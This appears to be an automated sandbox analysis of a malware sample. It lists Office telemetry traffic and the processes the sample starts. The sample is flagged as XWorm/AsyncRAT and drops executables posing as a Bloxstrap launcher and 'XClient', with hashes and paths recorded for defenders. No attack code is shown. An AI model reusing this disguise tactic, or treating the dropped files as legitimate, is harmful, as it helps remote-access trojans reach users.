2024-11-23 20:12:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:44 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201244Z-178bfbc474b9fdhphC1NYCac0n00000004xg000000006563 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:44 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:45 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:46 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201246Z-178bfbc474bfw4gbhC1NYCunf400000004y000000000b08z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:46 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:46 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6e9ce571-001e-005a-0843-3cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201246Z-15b8b599d885ffrhhC1TEBtuv000000003bg00000000puyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:46 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 31c6069e-e01e-001f-7f36-3d1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201246Z-15b8b599d889gj5whC1TEBfyk000000003b0000000001315 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:46 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201246Z-178bfbc474bv7whqhC1NYC1fg400000004x000000000dttc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:46 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201246Z-178bfbc474bw8bwphC1NYC38b400000004ug000000005u0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:48 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:49 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:49 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: f295790c-601e-0032-1e67-3deebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201249Z-15b8b599d88tr2flhC1TEB5gk400000003kg0000000060mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:12:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:48 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:49 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 45336a67-c01e-0014-2f6a-3ca6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201249Z-174c587ffdf8fcgwhC1TEBnn7000000003m0000000009fq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:49 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:48 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:49 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:49 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 04c26370-f01e-0003-1e65-3d4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201249Z-15b8b599d889gj5whC1TEBfyk0000000039g00000000538h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:12:49 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:48 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:49 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8d0ecd0b-301e-0020-617e-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201249Z-174c587ffdfldtt2hC1TEBwv9c00000003a0000000004z2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:49 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:48 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:49 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:49 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7d97abf5-a01e-0002-5e67-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201249Z-174c587ffdfb485jhC1TEBmc1s00000003ag0000000036yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:49 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Target ID:	0
Start time:	15:11:03
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\CZxDiTktSY.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\CZxDiTktSY.exe"
Imagebase:	0x10000
File size:	11'770'880 bytes
MD5 hash:	5D16971F4E0D6E5F99D18D28672CC621
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:11:05
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe"
Imagebase:	0x7ff72e6a0000
File size:	11'593'209 bytes
MD5 hash:	60246A70B28A9D7EF6A2DFE009E48075
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:11:05
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\XClient.exe"
Imagebase:	0x40000
File size:	34'304 bytes
MD5 hash:	EDD87A78E02A4C11C82BB8CCCE9815D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
